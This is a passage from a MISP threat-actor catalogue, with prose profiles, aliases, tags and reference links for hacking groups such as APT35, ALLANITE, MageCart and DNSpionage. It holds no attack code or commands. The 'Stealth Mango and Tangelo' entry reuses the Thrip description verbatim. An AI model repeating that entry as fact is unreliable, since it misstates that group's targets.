
https://www.gov.uk/government/news/uk-and-allies-hold-chinese-state-responsible-for-a-pervasive-pattern-of-hacking
https://www.rnz.co.nz/news/political/447239/government-points-finger-at-china-over-cyber-attacks
https://www.foreignminister.gov.au/minister/marise-payne/media-release/australia-joins-international-partners-attribution-malicious-cyber-activity-china
https://www.mofa.go.jp/press/danwa/press6e_000312.html
https://www.consilium.europa.eu/en/press/press-releases/2021/07/19/declaration-by-the-high-representative-on-behalf-of-the-eu-urging-china-to-take-action-against-malicious-cyber-activities-undertaken-from-its-territory
https://www.mandiant.com/resources/insights/apt-groups
https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RWMFIi
https://decoded.avast.io/threatintel/outbreak-of-follina-in-australia
https://www.proofpoint.com/us/blog/threat-insight/chasing-currents-espionage-south-china-sea
https://www.accenture.com/_acnmedia/pdf-96/accenture-security-mudcarp.pdf

APT35

FireEye has identified APT35 operations dating back to 2014. APT35, also known as the Newscaster Team, is a threat group sponsored by the Iranian government that conducts long term, resource-intensive operations to collect strategic intelligence. APT35 typically targets U.S. and the Middle Eastern military, diplomatic and government personnel, organizations in the media, energy and defense industrial base (DIB), and engineering, business services and telecommunications sectors.

The tag is: *misp-galaxy:threat-actor="APT35"*

APT35 is also known as:

- APT 35
- Newscaster Team
- Magic Hound
- G0059

View relationships graph

APT35 has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Magic Hound - G0059" with estimative-language:likelihood-probability="likely"

Table 6890. Table References

Links
https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf
https://attack.mitre.org/groups/G0059/

https://www.cfr.org/interactive/cyber-operations/magic-hound
https://unit42.paloaltonetworks.com/unit42-magic-hound-campaign-attacks-saudi-targets/
https://securityaffairs.co/wordpress/56348/intelligence/magic-hound-campaign.html
https://www.cfr.org/cyber-operations/apt-35

Orangeworm

Symantec has identified a previously unknown group called Orangeworm that has been observed installing a custom backdoor called Trojan.Kwampirs within large international corporations that operate within the healthcare sector in the United States, Europe, and Asia. First identified in January 2015, Orangeworm has also conducted targeted attacks against organizations in related industries as part of a larger supply-chain attack in order to reach their intended victims. Known victims include healthcare providers, pharmaceuticals, IT solution providers for healthcare and equipment manufacturers that serve the healthcare industry, likely for the purpose of corporate espionage.

The tag is: *misp-galaxy:threat-actor="Orangeworm"*

Table 6891. Table References

Links
https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia
https://attack.mitre.org/groups/G0071/

ALLANITE

Adversaries abusing ICS (based on Dragos Inc adversary list). ALLANITE accesses business and industrial control (ICS) networks, conducts reconnaissance, and gathers intelligence in United States and United Kingdom electric utility sectors. Dragos assesses with moderate confidence that ALLANITE operators continue to maintain ICS network access to: (1) understand the operational environment necessary to develop disruptive capabilities, (2) have ready access from which to disrupt electric utilities. ALLANITE uses email phishing campaigns and compromised websites called watering holes to steal credentials and gain access to target networks, including collecting and distributing screenshots of industrial control systems. ALLANITE operations limit themselves to information gathering and have not demonstrated any disruptive or damaging capabilities. ALLANITE conducts malware-less operations primarily leveraging legitimate and available tools in the Windows operating system.

The tag is: *misp-galaxy:threat-actor="ALLANITE"*

ALLANITE is also known as:

- Palmetto Fusion
- Allanite

Table 6892. Table References

Links
https://dragos.com/adversaries.html
https://dragos.com/blog/20180510Allanite.html

CHRYSENE

Adversaries abusing ICS (based on Dragos Inc adversary list). This threat actor targets organizations involved in oil, gas, and electricity production, primarily in the Gulf region, for espionage purposes. According to one cybersecurity company, the threat actor “compromises a target machine and passes it off to another threat actor for further exploitation.”

The tag is: *misp-galaxy:threat-actor="CHRYSENE"*

CHRYSENE is also known as:

- OilRig
- Greenbug

View relationships graph

CHRYSENE has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Cleaver - G0003" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Cutting Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Cleaver" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="OilRig" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Clever Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-intrusion-set="OilRig - G0049" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-intrusion-set="Magic Hound - G0059" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Flying Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Charming Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Rocket Kitten" with estimative-language:likelihood-probability="likely"

* similar: misp-galaxy:threat-actor="Greenbug" with estimative-language:likelihood-probability="likely"

Table 6893. Table References

Links
https://dragos.com/adversaries.html
https://dragos.com/media/2017-Review-Industrial-Control-System-Threats.pdf
https://www.cfr.org/interactive/cyber-operations/chrysene

ZooPark

ZooPark is a cyberespionage operation that has been focusing on Middle Eastern targets since at least June 2015. The threat actors behind ZooPark infect Android devices using several generations of malware we label from v1-v4, with v4 being the most recent version deployed in 2017.

The tag is: *misp-galaxy:threat-actor="ZooPark"*

Table 6894. Table References

Links
https://securelist.com/whos-who-in-the-zoo/85394/

RANCOR

The Rancor group's attacks use two primary malware families which are naming DDKONG and PLAINTEE. DDKONG is used throughout the campaign and PLAINTEE appears to be new addition to these attackers' toolkit. Countries Unit 42 has identified as targeted by Rancor with these malware families include, but are not limited to Singapore and Cambodia.

The tag is: *misp-galaxy:threat-actor="RANCOR"*

RANCOR is also known as:

* Rancor group
* Rancor
* Rancor Group
* G0075
* Rancor Taurus

Table 6895. Table References

Links
https://unit42.paloaltonetworks.com/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/
https://www.cfr.org/interactive/cyber-operations/rancor

https://attack.mitre.org/groups/G0075/
https://unit42.paloaltonetworks.com/atoms/rancortaurus/

The Big Bang

While it is not clear exactly what the attacker is looking for, what is clear is that once he finds it, a second stage of the attack awaits, fetching additional modules and/or malware from the Command and Control server. This then is a surveillance attack in progress and has been dubbed 'Big Bang' due to the attacker's fondness for the 'Big Bang Theory' TV show, after which some of the malware's modules are named.

The tag is: *misp-galaxy:threat-actor="The Big Bang"*

Table 6896. Table References

Links
https://research.checkpoint.com/apt-attack-middle-east-big-bang/
https://blog.talosintelligence.com/2017/06/palestine-delphi.html

Subaat

In mid-July, Palo Alto Networks Unit 42 identified a small targeted phishing campaign aimed at a government organization. While tracking the activities of this campaign, we identified a repository of additional malware, including a web server that was used to host the payloads used for both this attack as well as others.

The tag is: *misp-galaxy:threat-actor="Subaat"*

Table 6897. Table References

Links
https://researchcenter.paloaltonetworks.com/2017/10/unit42-tracking-subaat-targeted-phishing-attacks-point-leader-threat-actors-repository/

The Gorgon Group

Unit 42 researchers have been tracking Subaat, an attacker, since 2017. Recently Subaat drew our attention due to renewed targeted attack activity. Part of monitoring Subaat included realizing the actor was possibly part of a larger crew of individuals responsible for carrying out targeted attacks against worldwide governmental organizations. Technical analysis on some of the attacks as well as attribution links with Pakistan actors have been already depicted by 360 and Tuisec, in which they found interesting connections to a larger group of attackers Unit 42 researchers have been tracking, which we are calling Gorgon Group.

The tag is: *misp-galaxy:threat-actor="The Gorgon Group"*

The Gorgon Group is also known as:

- Gorgon Group
- Subaat
- ATK92
- G0078
- Pasty Gemini

Table 6898. Table References

Links
https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/
https://unit42.paloaltonetworks.com/unit42-tracking-subaat-targeted-phishing-attacks-point-leader-threat-actors-repository/
https://unit42.paloaltonetworks.com/aggah-campaign-bit-ly-blogspot-and-pastebin-used-for-c2-in-large-scale-campaign/
https://attack.mitre.org/groups/G0078/
https://unit42.paloaltonetworks.com/atoms/pastygemini/

DarkHydrus

In July 2018, Unit 42 analyzed a targeted attack using a novel file type against at least one government agency in the Middle East. It was carried out by a previously unpublished threat group we track as DarkHydrus. Based on our telemetry, we were able to uncover additional artifacts leading us to believe this adversary group has been in operation with their current playbook since early 2016. This attack diverged from previous attacks we observed from this group as it involved spear-phishing emails sent to targeted organizations with password protected RAR archive attachments that contained malicious Excel Web Query files (.iqy).

The tag is: *misp-galaxy:threat-actor="DarkHydrus"*

DarkHydrus is also known as:

- LazyMeerkat
- G0079
- Obscure Serpens

Table 6899. Table References

Links
https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/
https://mobile.twitter.com/360TIC/status/1083289987339042817
https://ti.360.net/blog/articles/latest-target-attack-of-darkhydruns-group-against-middle-east-en/
https://unit42.paloaltonetworks.com/unit42-darkhydrus-uses-phishery-harvest-credentials-middle-east/

https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/
https://attack.mitre.org/groups/G0079/
https://unit42.paloaltonetworks.com/atoms/obscureserpens/

RedAlpha

Recorded Future's Insikt Group has identified two new cyberespionage campaigns targeting the Tibetan Community over the past two years. The campaigns, which we are collectively naming RedAlpha, combine light reconnaissance, selective targeting, and diverse malicious tooling. We discovered this activity as the result of pivoting off of a new malware sample observed targeting the Tibetan community based in India.

The tag is: *misp-galaxy:threat-actor="RedAlpha"*

RedAlpha is also known as:

- DeepCliff
- Red Dev 3

Table 6900. Table References

Links
https://www.recordedfuture.com/chinese-cyberespionage-operations
https://go.recordedfuture.com/hubfs/reports/cta-2018-0626.pdf
https://go.recordedfuture.com/hubfs/reports/ta-2022-0816.pdf
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf

TempTick

This threat actor targets organizations in the finance, defense, aerospace, technology, health-care, and automotive sectors and media organizations in East Asia for the purpose of espionage. Believed to be responsible for the targeting of South Korean actors prior to the meeting of Donald J. Trump and Kim Jong-un

The tag is: *misp-galaxy:threat-actor="TempTick"*

Table 6901. Table References

Links
https://www.cfr.org/interactive/cyber-operations/temptick

Operation Parliament

This threat actor uses spear-phishing techniques to target parliaments, government ministries, academics, and media organizations, primarily in the Middle East, for the purpose of espionage. Based on our findings, we believe the attackers represent a previously unknown geopolitically motivated threat actor. The campaign started in 2017, with the attackers doing just enough to achieve their goals. They most likely have access to additional tools when needed and appear to have access to an elaborate database of contacts in sensitive organizations and personnel worldwide, especially of vulnerable and non-trained staff. The victim systems range from personal desktop or laptop systems to large servers with domain controller roles or similar. The nature of the targeted ministries varied, including those responsible for telecommunications, health, energy, justice, finance and so on. Operation Parliament appears to be another symptom of escalating tensions in the Middle East region. The attackers have taken great care to stay under the radar, imitating another attack group in the region. They have been particularly careful to verify victim devices before proceeding with the infection, safeguarding their command and control servers. The targeting seems to have slowed down since the beginning of 2018, probably winding down when the desired data or access was obtained. The targeting of specific victims is unlike previously seen behavior in regional campaigns by Gaza Cybergang or Desert Falcons and points to an elaborate information-gathering exercise that was carried out before the attacks (physical and/or digital). With deception and false flags increasingly being employed by threat actors, attribution is a hard and complicated task that requires solid evidence, especially in complex regions such as the Middle East.

The tag is: *misp-galaxy:threat-actor="Operation Parliament"*

Table 6902. Table References

Links
https://www.cfr.org/interactive/cyber-operations/operation-parliament
https://securelist.com/operation-parliament-who-is-doing-what/85237/
https://blog.talosintelligence.com/2018/02/targeted-attacks-in-middle-east.html

Inception Framework

This threat actor uses spear-phishing techniques to target private-sector energy, defense, aerospace, research, and media organizations and embassies in Africa, Europe, and the Middle East, for the purpose of espionage.

The tag is: *misp-galaxy:threat-actor="Inception Framework"*

Inception Framework is also known as:

- Clean Ursa
- Cloud Atlas
- OXYGEN
- G0100

- ATK116
- Blue Odin

Table 6903. Table References

Links
https://www.cfr.org/interactive/cyber-operations/inception-framework
https://web.archive.org/web/20160710180729/https://www.bluecoat.com/security-blog/2014-12-09/blue-coat-exposes-%E2%80%9C-inception-framework%E2%80%9D-very-sophisticated-layered-malware
https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/Inception_APT_Analysis_Bluecoat.pdf
https://logrhythm.com/blog/catching-the-inception-framework-phishing-attack
https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2014/bcs_wp_InceptionReport_EN_v12914.pdf
https://securelist.com/the-red-october-campaign/57647
https://securelist.com/red-october-diplomatic-cyber-attacks-investigation/36740
https://securelist.com/red-october-part-two-the-modules/57645
https://securelist.com/cloud-atlas-redoctober-apt-is-back-in-style/68083
https://securelist.com/an-undocumented-word-feature-abused-by-attackers/81899
https://unit42.paloaltonetworks.com/unit42-inception-attackers-target-europe-year-old-office-vulnerability
https://securelist.com/recent-cloud-atlas-activity/92016
https://www.symantec.com/blogs/threat-intelligence/inception-framework-hiding-behind-proxies
https://www.akamai.com/uk/en/multimedia/documents/white-paper/upnproxy-blackhat-proxies-via-nat-injections-white-paper.pdf
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-annex-download.pdf
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf
https://unit42.paloaltonetworks.com/atoms/clean-ursa
https://www.cfr.org/interactive/cyber-operations/cloud-atlas
https://www.cfr.org/cyber-operations/red-october
https://attack.mitre.org/groups/G0100

HenBox

This threat actor targets Uighurs—a minority ethnic group located primarily in northwestern China—and devices from Chinese mobile phone manufacturer Xiaomi, for espionage purposes.

The tag is: *misp-galaxy:threat-actor="HenBox"*

Table 6904. Table References

Links
https://www.cfr.org/interactive/cyber-operations/henbox

MUSTANG PANDA

This threat actor targets nongovernmental organizations using Mongolian-themed lures for espionage purposes. In April 2017, CrowdStrike Falcon Intelligence observed a previously unattributed actor group with a Chinese nexus targeting a U.S.-based think tank. Further analysis revealed a wider campaign with unique tactics, techniques, and procedures (TTPs). This adversary targets non-governmental organizations (NGOs) in general, but uses Mongolian language decoys and themes, suggesting this actor has a specific focus on gathering intelligence on Mongolia. These campaigns involve the use of shared malware like Poison Ivy or PlugX. Recently, Falcon Intelligence observed new activity from MUSTANG PANDA, using a unique infection chain to target likely Mongolia-based victims. This newly observed activity uses a series of redirections and fileless, malicious implementations of legitimate tools to gain access to the targeted systems. Additionally, MUSTANG PANDA actors reused previously-observed legitimate domains to host files.

The tag is: *misp-galaxy:threat-actor="MUSTANG PANDA"*

MUSTANG PANDA is also known as:

- BRONZE PRESIDENT
- HoneyMyte
- Red Lich
- TEMP.HEX

Table 6905. Table References

Links
https://www.cfr.org/interactive/cyber-operations/mustang-panda
https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://www.secureworks.com/research/threat-profiles/bronze-president
https://www.darkreading.com/threat-intelligence/chinese-apt-bronze-president-spy-campaign-russian-military
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf

Thrip

This threat actor targets organizations in the satellite communications, telecommunications, geospatial-imaging, and defense sectors in the United States and Southeast Asia for espionage purposes.

The tag is: *misp-galaxy:threat-actor="Thrip"*

Thrip is also known as:

- G0076
- ATK78

Table 6906. Table References

Links
https://www.cfr.org/interactive/cyber-operations/thrip
https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets
https://attack.mitre.org/groups/G0076/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://cyberthreat.thalesgroup.com/sites/default/files/2022-05/THALES%20THREAT%20HANDBOOK%202022%20Light%20Version_1.pdf

Stealth Mango and Tangelo

This threat actor targets organizations in the satellite communications, telecommunications, geospatial-imaging, and defense sectors in the United States and Southeast Asia for espionage purposes.

The tag is: *misp-galaxy:threat-actor=" Stealth Mango and Tangelo "*

Table 6907. Table References

Links
https://www.cfr.org/interactive/cyber-operations/stealth-mango-and-tangelo
https://www.lookout.com/blog/stealth-mango

PowerPool

Malware developers have started to use the zero-day exploit for Task Scheduler component in Windows, two days after proof-of-concept code for the vulnerability appeared online.

A security researcher who uses the online name SandboxEscaper on August 27 released the source code for exploiting a security bug in the Advanced Local Procedure Call (ALPC) interface used by Windows Task Scheduler.

More specifically, the problem is with the SchRpcSetSecurity API function, which fails to properly check user's permissions, allowing write privileges on files in C:\Windows\Task.

The vulnerability affects Windows versions 7 through 10 and can be used by an attacker to escalate their privileges to all-access SYSTEM account level.

A couple of days after the exploit code became available (source and binary), malware researchers at ESET noticed its use in active malicious campaigns from a threat actor they call PowerPool, because of their tendency to use tools mostly written in PowerShell for lateral movement.

The group appears to have a small number of victims in the following countries: Chile, Germany, India, the Philippines, Poland, Russia, the United Kingdom, the United States, and Ukraine.

The researchers say that PowerPool developers did not use the binary version of the exploit, deciding instead to make some subtle changes to the source code before recompiling it.

The tag is: *misp-galaxy:threat-actor="PowerPool"*

PowerPool is also known as:

- IAmTheKing

Table 6908. Table References

Links
https://www.bleepingcomputer.com/news/security/windows-task-scheduler-zero-day-exploited-by-malware/
https://twitter.com/craiu/status/1311920398259367942

Bahamut

Bahamut is a threat actor primarily operating in Middle East and Central Asia, suspected to be a private contractor to several state sponsored actors. They were observed conduct phishing as well as desktop and mobile malware campaigns.

The tag is: *misp-galaxy:threat-actor="Bahamut"*

Table 6909. Table References

Links
https://www.bellingcat.com/news/mena/2017/06/12/bahamut-pursuing-cyber-espionage-actor-middle-east/
https://www.bellingcat.com/resources/case-studies/2017/10/27/bahamut-revisited-cyber-espionage-middle-east-south-asia/

Iron Group

Iron group has developed multiple types of malware (backdoors, crypto-miners, and ransomware) for Windows, Linux and Android platforms. They have used their malware to successfully infect, at least, a few thousand victims.

The tag is: *misp-galaxy:threat-actor="Iron Group"*

Iron Group is also known as:

- Iron Cyber Group

Table 6910. Table References

Links
https://www.intezer.com/iron-cybercrime-group-under-the-scope-2/

Operation BugDrop

This threat actor targets critical infrastructure entities in the oil and gas sector, primarily in Ukraine. The threat actors deploy the BugDrop malware to remotely access the microphones in their targets' computers to eavesdrop on conversations.

The tag is: *misp-galaxy:threat-actor="Operation BugDrop"*

Table 6911. Table References

Links
https://www.cfr.org/interactive/cyber-operations/operation-bugdrop

Unnamed Actor

This threat actor compromises civil society groups the Chinese Communist Party views as hostile to its interests, such as Tibetan, Uyghur, Hong Kong, and Taiwanese activist. The threat actor also targeted the Myanmar electoral commission.

The tag is: *misp-galaxy:threat-actor="Unnamed Actor"*

Table 6912. Table References

Links
https://www.cfr.org/interactive/cyber-operations/unnamed-actor

COBALT DICKENS

”A threat group associated with the Iranian government. The threat group created lookalike domains to phish targets and used credentials to steal intellectual property from specific resources, including library systems.”

The tag is: *misp-galaxy:threat-actor="COBALT DICKENS"*

COBALT DICKENS is also known as:

- Cobalt Dickens

Table 6913. Table References

Links
https://www.bleepingcomputer.com/news/security/iranian-hackers-charged-in-march-are-still-actively-phishing-universities/
https://www.cyberscoop.com/cobalt-dickens-iran-mabna-institiute-dell-secureworks/

MageCart

Digital threat management company RiskIQ tracks the activity of MageCart group and reported their use of web-based card skimmers since 2016.

The tag is: *misp-galaxy:threat-actor="MageCart"*

Table 6914. Table References

Links
https://www.bleepingcomputer.com/news/security/british-airways-fell-victim-to-card-scraping-attack/
https://www.bleepingcomputer.com/news/security/feedify-hacked-with-magecart-information-stealing-script/
https://www.bleepingcomputer.com/news/security/magecart-group-compromises-plugin-used-in-thousands-of-stores-makes-rookie-mistake/
https://www.bleepingcomputer.com/news/security/visiondirect-data-breach-caused-by-magecart-attack/
https://www.bleepingcomputer.com/news/security/magecart-group-sabotages-rival-to-ruin-data-and-reputation/

Domestic Kitten

An extensive surveillance operation targets specific groups of individuals with malicious mobile apps that collect sensitive information on the device along with surrounding voice recordings. Researchers with CheckPoint discovered the attack and named it Domestic Kitten. The targets are Kurdish and Turkish natives, and ISIS supporters, all Iranian citizens.

The tag is: *misp-galaxy:threat-actor="Domestic Kitten"*

Table 6915. Table References

Links
https://www.bleepingcomputer.com/news/security/domestic-kitten-apt-operates-in-silence-since-2016/

FASTCash

Treasury has identified a sophisticated cyber-enabled ATM cash out campaign we are calling FASTCash. FASTCash has been active since late 2016 targeting banks in Africa and Asia to remotely compromise payment switch application servers within banks to facilitate fraudulent transactions, primarily involving ATMs, to steal cash equivalent to tens of millions of dollars. FBI has attributed malware used in this campaign to the North Korean government. We expect FASTCash to continue targeting retail payment systems vulnerable to remote exploitation.

The tag is: *misp-galaxy:threat-actor="FASTCash"*

Roaming Mantis

According to new research by Kaspersky's GReAT team, the online criminal activities of the Roaming Mantis Group have continued to evolve since they were first discovered in April 2018. As part of their activities, this group hacks into exploitable routers and changes their DNS configuration. This allows the attackers to redirect the router user's traffic to malicious Android apps disguised as Facebook and Chrome or to Apple phishing pages that were used to steal Apple ID credentials. Recently, Kaspersky has discovered that this group is testing a new monetization scheme by redirecting iOS users to pages that contain the Coinhive in-browser mining script rather than the normal Apple phishing page. When users are redirected to these pages, they will be shown a blank page in the browser, but their CPU utilization will jump to 90% or higher.

The tag is: *misp-galaxy:threat-actor="Roaming Mantis"*

Roaming Mantis is also known as:

- Roaming Mantis Group

Table 6916. Table References

Links
https://www.bleepingcomputer.com/news/security/roaming-mantis-group-testing-coinhive-miner-redirects-on-iphones/

GreyEnergy

ESET research reveals a successor to the infamous BlackEnergy APT group targeting critical infrastructure, quite possibly in preparation for damaging attacks

The tag is: *misp-galaxy:threat-actor="GreyEnergy"*

View relationships graph

GreyEnergy has relationships with:

- similar: misp-galaxy:threat-actor="Sandworm" with estimative-language:likelihood-probability="likely"

Table 6917. Table References

Links
https://www.eset.com/int/greyenergy-exposed/
https://www.welivesecurity.com/2018/10/17/greyenergy-updated-arsenal-dangerous-threat-actors/

The Shadow Brokers

The Shadow Brokers (TSB) is a hacker group who first appeared in the summer of 2016. They published several leaks containing hacking tools from the National Security Agency (NSA, including several zero-day exploits.[1] Specifically, these exploits and vulnerabilities targeted enterprise firewalls, antivirus software, and Microsoft products. The Shadow Brokers originally attributed the leaks to the Equation Group threat actor, who have been tied to the NSA's Tailored Access Operations unit.

The tag is: *misp-galaxy:threat-actor="The Shadow Brokers"*

The Shadow Brokers is also known as:

- The ShadowBrokers
- TSB
- Shadow Brokers
- ShadowBrokers

Table 6918. Table References

Links
https://en.wikipedia.org/wiki/The_Shadow_Brokers
https://securelist.com/darkpulsar/88199/
https://musalbas.com/blog/2016/08/16/equation-group-firewall-operations-catalogue.html
https://www.vice.com/en_us/article/53djj3/shadow-brokers-whine-that-nobody-is-buying-their-hacked-nsa-files
https://www.scmagazineuk.com/second-shadow-brokers-dump-released/article/1476023
https://www.cyberscoop.com/nsa-shadow-brokers-leaks-iran-russia-optimusprime-stoicsurgeon/
https://www.csoonline.com/article/3190055/new-nsa-leak-may-expose-its-bank-spying-windows-exploits.html
https://threatpost.com/shadowbrokers-dump-more-equation-group-hacks-auction-file-password/124882/
http://securityaffairs.co/wordpress/62770/hacking/shadowbrokers-return.html
https://www.hackread.com/nsa-data-dump-shadowbrokers-expose-unitedrake-malware/
https://blacklakesecurity.com/who-was-the-nsa-contractor-arrested-for-leaking-the-shadow-brokers-hacking-tools/

EvilTraffic

Malware experts at CSE Cybsec uncovered a massive malvertising campaign dubbed EvilTraffic leveraging tens of thousands compromised websites. Crooks exploited some CMS vulnerabilities to upload and execute arbitrary PHP pages used to generate revenues via advertising.

The tag is: *misp-galaxy:threat-actor="EvilTraffic"*

EvilTraffic is also known as:

- Operation EvilTraffic

Table 6919. Table References

Links
http://securityaffairs.co/wordpress/68059/cyber-crime/eviltraffic-malvertising-campaign.html
https://cybaze.it/download/zlab/20180121_CSE_Massive_Malvertising_Report.pdf

HookAds

HookAds is a malvertising campaign that purchases cheap ad space on low quality ad networks commonly used by adult web sites, online games, or blackhat seo sites. These ads will include JavaScript that redirects a visitor through a serious of decoy sites that look like pages filled with native advertisements, online games, or other low quality pages. Under the right circumstances, a visitor will silently load the Fallout exploit kit, which will try and install its malware payload.

The tag is: *misp-galaxy:threat-actor="HookAds"*

Table 6920. Table References

Links
https://www.bleepingcomputer.com/news/security/hookads-malvertising-installing-malware-via-the-fallout-exploit-kit/

INDRIK SPIDER

INDRIK SPIDER is a sophisticated eCrime group that has been operating Dridex since June 2014. In 2015 and 2016, Dridex was one of the most prolific eCrime banking trojans on the market and, since 2014, those efforts are thought to have netted INDRIK SPIDER millions of dollars in criminal profits. Throughout its years of operation, Dridex has received multiple updates with new modules developed and new anti-analysis features added to the malware. In August 2017, a new ransomware variant identified as BitPaymer was reported to have ransomed the U.K.'s National Health Service (NHS), with a high ransom demand of 53 BTC (approximately $200,000 USD). The targeting of an organization rather than individuals, and the high ransom demands, made BitPaymer stand out from other contemporary ransomware at the time. Though the encryption and ransom functionality of BitPaymer was not technically sophisticated, the malware contained multiple anti-analysis features that overlapped with Dridex. Later technical analysis of BitPaymer indicated that it had been developed by INDRIK SPIDER, suggesting the group had expanded its criminal operation to include ransomware as a monetization strategy.

The tag is: *misp-galaxy:threat-actor="INDRIK SPIDER"*

Table 6921. Table References

Links
https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/

DNSpionage

Cisco Talos recently discovered a new campaign targeting Lebanon and the United Arab Emirates (UAE) affecting .gov domains, as well as a private Lebanese airline company. Based on our research, it’s clear that this adversary spent time understanding the victims' network infrastructure in order to remain under the radar and act as inconspicuous as possible during their attacks. Based on this actor’s infrastructure and TTPs, we haven’t been able to connect them with any other campaign or actor that’s been observed recently. This particular campaign utilizes two fake, malicious websites containing job postings that are used to compromise targets via malicious Microsoft Office documents with embedded macros. The malware utilized by this actor, which we are calling "DNSpionage," supports HTTP and DNS communication with the attackers. In a separate campaign, the attackers used the same IP to redirect the DNS of legitimate .gov and private company domains. During each DNS compromise, the actor carefully generated Let’s Encrypt certificates for the redirected domains. These certificates provide X.509 certificates for TLS free of charge to the user. We don’t know at this time if the DNS redirections were successful. In this post, we will break down the attackers' methods and show how they used malicious documents to attempt to trick users into opening malicious websites that are disguised as "help wanted" sites for job seekers. Additionally, we will describe the malicious DNS redirection and the timeline of the events.

The tag is: *misp-galaxy:threat-actor="DNSpionage"*

DNSpionage is also known as:

- COBALT EDGEWATER

Table 6922. Table References

Links
https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html
https://blog.talosintelligence.com/2019/04/dnspionage-brings-out-karkoff.html
https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html
https://www.crowdstrike.com/blog/widespread-dns-hijacking-activity-targets-multiple-sectors/
https://krebsonsecurity.com/tag/dnspionage/
https://www.secureworks.com/research/threat-profiles/cobalt-edgewater

DarkVishnya

Dubbed DarkVishnya, the attacks targeted at least eight banks using readily-available gear such as netbooks or inexpensive laptops, Raspberry Pi mini-computers, or a Bash Bunny - a USB-sized piece hardware for penetration testing purposes that can pose as a keyboard, flash storage, network adapter, or as any serial device.

The tag is: *misp-galaxy:threat-actor="DarkVishnya"*

Table 6923. Table References

Links
https://www.bleepingcomputer.com/news/security/netbooks-rpis-and-bash-bunny-gear-attacking-banks-from-the-inside/

Operation Poison Needles

What's noteworthy is that according to the introduction on the compromised website of the polyclinic (http://www.p2f.ru), the institution was established in 1965 and it was founded by the Presidential Administration of Russia. The multidisciplinary outpatient institution mainly serves the civil servants of the highest executive, legislative, judicial authorities of the Russian Federation, as well as famous figures of science and art. Since it is the first detection of this APT attack by 360 Security on a global scale, we code-named it as "Operation Poison Needles", considering that the target was a medical institution. Currently, the attribution of the attacker is still under investigation. However, the special background of the polyclinic and the sensitiveness of the group it served both indicate the attack is highly targeted. Simultaneously, the attack occurred at a very sensitive timing of the Kerch Strait Incident, so it also aroused the assumption on the political attribution of the attack.

The tag is: *misp-galaxy:threat-actor="Operation Poison Needles"*

Table 6924. Table References

Links
http://blogs.360.cn/post/PoisonNeedles_CVE-2018-15982_EN

GC01

From November 2017 to October 2018, we attributed 14 campaigns to the GC threat actors that used a specific MaaS provider (hereinafter "the Provider") offered by a known individual (hereinafter "the Provider Operator").

The tag is: *misp-galaxy:threat-actor="GC01"*

GC01 is also known as:

- Golden Chickens
- Golden Chickens01

- Golden Chickens 01

View relationships graph

GC01 has relationships with:

- similar: misp-galaxy:threat-actor="GC02" with estimative-language:likelihood-probability="likely"

Table 6925. Table References

Links
https://medium.com/@quoscient/golden-chickens-uncovering-a-malware-as-a-service-maas-provider-and-two-new-threat-actors-using-61cf0cb87648

GC02

From November 2017 to October 2018, we attributed 14 campaigns to the GC threat actors that used a specific MaaS provider (hereinafter “the Provider”) offered by a known individual (hereinafter “the Provider Operator”).

The tag is: *misp-galaxy:threat-actor="GC02"*

GC02 is also known as:

- Golden Chickens
- Golden Chickens02
- Golden Chickens 02

View relationships graph

GC02 has relationships with:

- similar: misp-galaxy:threat-actor="GC01" with estimative-language:likelihood-probability="likely"

Table 6926. Table References

Links
https://medium.com/@quoscient/golden-chickens-uncovering-a-malware-as-a-service-maas-provider-and-two-new-threat-actors-using-61cf0cb87648

Operation Sharpshooter

